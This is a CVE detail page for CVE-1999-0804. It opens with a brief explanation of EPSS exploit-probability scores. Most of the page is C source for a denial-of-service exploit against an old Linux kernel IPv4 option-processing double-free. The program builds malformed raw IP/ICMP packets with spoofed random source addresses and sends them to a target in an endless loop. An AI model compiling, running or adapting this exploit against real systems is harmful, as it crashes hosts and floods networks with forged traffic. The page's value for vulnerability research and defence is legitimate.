CVE-1999-0804 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/302/info A vulnerability in the Linux Kernel's IPv4 option processing may allow a remote user to crash the system. The vulnerability is the result of the kernel freeing a socket buffer when it shouldn't while sending an ICMP Parameter Problem error message in response to an IP packet with a malformed IP option. This results in the buffer being freed twice and in memory corruption. Of the Debian Linux 2.1 supported architectures only the SPARC one is vulnerable. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <errno.h> #include <unistd.h> #include <netdb.h> struct icmp_hdr { struct iphdr iph; struct icmp icp; char text[1002]; } icmph; int in_cksum(int *ptr, int nbytes) { long sum; u_short oddbyte, answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *)&oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } struct sockaddr_in sock_open(char *address, int socket, int prt) { struct hostent *host; if ((host = gethostbyname(address)) == NULL) { perror("Unable to get host name"); exit(-1); } struct sockaddr_in sin; bzero((char *)&sin, sizeof(sin)); sin.sin_family = PF_INET; sin.sin_port = htons(prt); bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length); return(sin); } void main(int argc, char **argv) { int sock, i, ctr, k; int on = 1; struct sockaddr_in addrs; if (argc < 3) { printf("Usage: %s <ip_addr> <port>\n", argv[0]); exit(-1); } for (i = 0; i < 1002; i++) { icmph.text[i] = random() % 255; } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("Can't set IP_HDRINCL option on socket"); } if (sock < 0) { exit(-1); } fflush(stdout); for (ctr = 0;ctr < 1001;ctr++) { ctr = ctr % 1000; addrs = sock_open(argv[1], sock, atoi(argv[2])); icmph.iph.version = 4; icmph.iph.ihl = 6; icmph.iph.tot_len = 1024; icmph.iph.id = htons(0x001); icmph.iph.ttl = 255; icmph.iph.protocol = IPPROTO_ICMP; icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) + ((random() % 255) * 65535) + ((random() % 255) * 255) + (random() % 255); icmph.iph.daddr = addrs.sin_addr.s_addr; icmph.iph.frag_off = htons(0); icmph.icp.icmp_type = random() % 14; icmph.icp.icmp_code = random() % 10; icmph.icp.icmp_cksum = 0; icmph.icp.icmp_id = 2650; icmph.icp.icmp_seq = random() % 255; icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024); if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs,sizeof(struct sockaddr)) == -1) { if (errno != ENOBUFS) printf("X"); } if (ctr == 0) printf("b00m "); fflush(stdout); } close(sock); }